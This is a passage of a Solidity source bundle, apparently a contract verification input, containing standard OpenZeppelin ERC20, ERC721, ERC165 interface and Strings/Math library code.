cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(address from, address to, uint256 amount) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by\n // decrementing then incrementing.\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n // Overflow not possible: amount <= accountBalance <= totalSupply.\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(address owner, address spender, uint256 amount) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[45] private __gap;\n}\n"
},
"lib/openzeppelin-contracts/contracts/interfaces/IERC1271.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC1271 standard signature validation method for\n * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271].\n *\n * _Available since v4.1._\n */\ninterface IERC1271 {\n /**\n * @dev Should return whether the signature provided is valid for the provided data\n * @param hash Hash of the data to be signed\n * @param signature Signature byte array associated with _data\n */\n function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721Upgradeable is IERC165Upgradeable {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721ReceiverUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721ReceiverUpgradeable {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/IERC721MetadataUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Upgradeable.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\nimport \"./math/SignedMathUpgradeable.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMathUpgradeable.abs(value))));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n function __ERC165_init() internal onlyInitializing {\n }\n\n function __ERC165_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165Upgradeable).interfaceId;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC4906Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC4906.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"./IERC721Upgradeable.sol\";\n\n/// @title EIP-721 Metadata Update Extension\ninterface IERC4906Upgradeable is IERC165Upgradeable, IERC721Upgradeable {\n /// @dev This event emits when the metadata of a token is changed.\n /// So that the third-party platforms such as NFT market could\n /// timely update the images and related attributes of the NFT.\n event MetadataUpdate(uint256 _tokenId);\n\n /// @dev This event emits when the metadata of a range of tokens is changed.\n /// So that the third-party platforms such as NFT market could\n /// timely update the images and related attributes of the NFTs.\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/IERC20Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20Upgradeable {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/IERC20MetadataUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20Upgradeable.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20MetadataUpgradeable is IERC20Upgradeable {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/IERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165Upgradeable {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary MathUpgradeable {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/math/SignedMathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMathUpgradeable {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165Upgradeable.sol\";\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC721Upgradeable.sol": {
